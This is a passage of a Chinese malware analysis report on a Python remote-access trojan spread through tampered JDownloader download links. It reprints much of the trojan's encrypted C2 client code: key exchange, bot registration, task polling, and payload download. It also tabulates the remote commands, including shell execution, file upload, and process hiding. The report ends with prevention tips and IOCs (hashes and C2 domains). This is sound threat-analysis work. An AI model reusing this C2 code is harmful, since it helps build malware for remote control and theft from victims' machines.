if consecutive_fails >= DEFAULT_POLL_FAILS:
C2_BASE_URL = ""
SESSION_KEY = None
consecutive_fails = 0
poll_interval = min(poll_interval * 2, 3600)
time.sleep(poll_interval)
AES-256-GCM 加密通信
所有 C2 通信经受 AES-256-GCM 加密——同时提供机密性和完整性认证(防篡改),加密后的流量形态为随机字节,无固定特征可被 IDS/IPS 基于签名匹配。每次加密用 os.urandom(12) 生成新 nonce,SEQ[0:4] 自增作为应用层序列号防重放:
def encrypt_aes_request(data: bytes) -> bytes:
SEQ[0:4] = (int.from_bytes(SEQ[0:4], "big") + 1).to_bytes(4, "big")
aesgcm = AESGCM(SESSION_KEY)
nonce = os.urandom(12)
ciphertext = aesgcm.encrypt(nonce, data, None)
return nonce + ciphertext
def decrypt_aes_response(ciphertext: bytes, key: bytes = None) -> bytes:
if key is None:
key = SESSION_KEY
aesgcm = AESGCM(key)
nonce = ciphertext[:12]
return aesgcm.decrypt(nonce, ciphertext[12:], None)
RSA-2048 OAEP 密钥交换
会话密钥由 exchange_aes_key 通过 RSA-2048 OAEP-SHA256-MGF1 协商。客户端生成随机 16 字节密钥,用硬编码公钥加密后 Base64 编码,以 k= 格式 POST 到 C2 服务器。服务器用私钥解密获得会话密钥,用该密钥 AES-GCM 加密 "ok" 返回验证。公钥硬编码在样本中——攻击者持有私钥,即使流量被完全捕获,中间人也无法解密会话密钥。OAEP-SHA256 填充进一步增加已知明文攻击的难度:
def exchange_aes_key() -> bytes:
public_key = serialization.load_pem_public_key(RSA_PUBLIC_KEY_PEM.encode())
session_key = os.urandom(16)
encrypted_key = public_key.encrypt(
session_key,
padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), label=None),
)
k_param = "k=" + base64.b64encode(encrypted_key).decode()
url = C2_BASE_URL
req = urllib.request.Request(url, data=k_param.encode())
req.add_header("Content-Type", "application/x-www-form-urlencoded")
opener = urllib.request.build_opener()
nonce, result = read_c2_response(response_data)
if result == b"ok":
return session_key
return None
Bot 注册与任务轮询
密钥交换完成后 new_bot 向 C2 注册。required_fields 按消息类型拼接 URL 参数——new_bot 时携带 Python 版本信息便于 C2 根据环境下发适配的 payload。User-Agent 伪装为 curl/8.13.0 而非使用 Python 默认 UA。C2 响应统一为 base64_nonce;base64_encrypted 格式:
| msg_type | URL 参数 |
|---|---|
new_bot |
type=new_bot&bot_version=1.0&bot_id=&bot_pass=&python_version=3.14... |
poll |
type=poll&bot_version=1.0 |
task_response |
type=task_response&bot_version=1.0 |
def required_fields(msg_type: str) -> str:
params = f"type={msg_type}&bot_version={BOT_VERSION}"
if msg_type == "new_bot":
params += f"&bot_id={BOT_ID}&bot_pass={BOT_PASS}"
params += f"&python_version={sys.version}"
return params
def read_c2_response(http_response: bytes) -> tuple:
raw_data = http_response.decode()
parts = raw_data.split(";")
if len(parts) < 2:
raise Exception("Invalid C2 response format")
nonce = base64.b64decode(parts[0])
encrypted = base64.b64decode(parts[1])
decrypted = decrypt_aes_response(encrypted)
return (nonce, decrypted)
注册后 poll_and_execute 进入任务轮询循环。持有 REQ_LOCK 确保串行请求,C2 返回 err0 时触发重新注册(Bot 身份过期)。正常情况按 \n 切分任务列表,每个任务启独立线程执行——多线程并发最大化吞吐量,线程间无共享状态:
def poll_and_execute() -> bool:
REQ_LOCK.acquire()
params = required_fields("poll")
params += f"&boot={'0' if POLLED else '1'}"
url = C2_BASE_URL + "?" + params
# ... GET request ...
nonce, result = read_c2_response(response_data)
if not result:
REQ_LOCK.release()
return True
result_str = result.decode()
if result_str == "err0":
POLLED = False
bot_id, bot_pass = new_bot()
tasks = result.split(b"\n") if result else []
for task in tasks:
if task.strip():
t = threading.Thread(target=exec_thread, args=(task,))
t.start()
POLLED = True
REQ_LOCK.release()
return True
远程命令集
exec_thread 从任务数据中提取 task_id,按命令类型分发执行,结果通过 task_response 回传。支持 7 种命令:
| 命令 | 功能 | 关键实现 |
|---|---|---|
exec |
执行任意 Shell 命令 | subprocess.Popen,结果通过 AES-GCM 加密回传 |
download |
下载文件并可选执行 | download_verify 含 SHA256 校验,失败即丢弃 |
upload |
上传文件到 C2 | 读取本地文件,AES-GCM 加密后 POST 到 C2 |
config |
更新配置键值 | 调用 write_config_value 持久化任意键值对 |
sleep |
修改轮询间隔 | 更新 PollInterval 配置,下次循环生效 |
uninstall |
移除持久化并退出 | 调用 _remove_persistence → sys.exit(0) |
r77_hide |
激活进程隐藏 | 手动触发 r77_hide_self() |
download 命令中 SHA256 校验防止网络劫持或中间人篡改下载内容——攻击者确保 Bot 只执行其预期的 payload。校验失败立即 os.remove 丢弃文件,不留错误文件痕迹:
def download_verify(url: str, save_path: str, expected_hash: str = None,
retries: int = 3) -> bool:
os.makedirs(os.path.dirname(save_path), exist_ok=True)
for _ in range(retries):
try:
urllib.request.urlretrieve(url, save_path)
except Exception:
continue
if expected_hash:
hasher = hashlib.sha256()
try:
with open(save_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hasher.update(chunk)
except Exception:
os.remove(save_path)
return False
if hasher.hexdigest().lower() == expected_hash.lower():
return True
else:
os.remove(save_path)
return False
else:
return True
return False
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

总结
在开源软件生态中,JDownloader凭借强大的下载管理能力和免费开源的优势,成为全球数千万用户信赖的日常工具。
然而,此次攻击者利用官网CMS漏洞篡改下载链接、向用户投递PyArmor加密Python RAT的事件,让众多用户猛然意识到,即便是从官方网站下载的安装包也未必安全,"官网即安全"的惯性认知已然失效。
用户需要养成下载后校验文件签名的习惯,而开源项目方也须正视自身网站安全短板,加强CMS漏洞管理和分发链路的完整性保护,从源头上杜绝"官方渠道"沦为攻击跳板。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
78d5a63d4de6eb347b4f2ef16dea4f0b 26a2abcd92a1fe2be7832c437103b170 c19d686e686b6b391a4e6583bc7909fb 7d1676c965d64ea00b7a7601353873ae d3b398a757b424f91e645985ade00516 ec99e2a51151117876e67635ed4e575d ee4346d277995bf40196c054de1627f4 17b52e1b45a31e30f51cd1e08faa2b08 626803a57697acedc578e93232d9a482 -
Domain
parkspringshotel.com auraguest.lk -
瑞星病毒名
Trojan.Agent!1.13E7E Trojan.Kryptik/x64!1.13E7D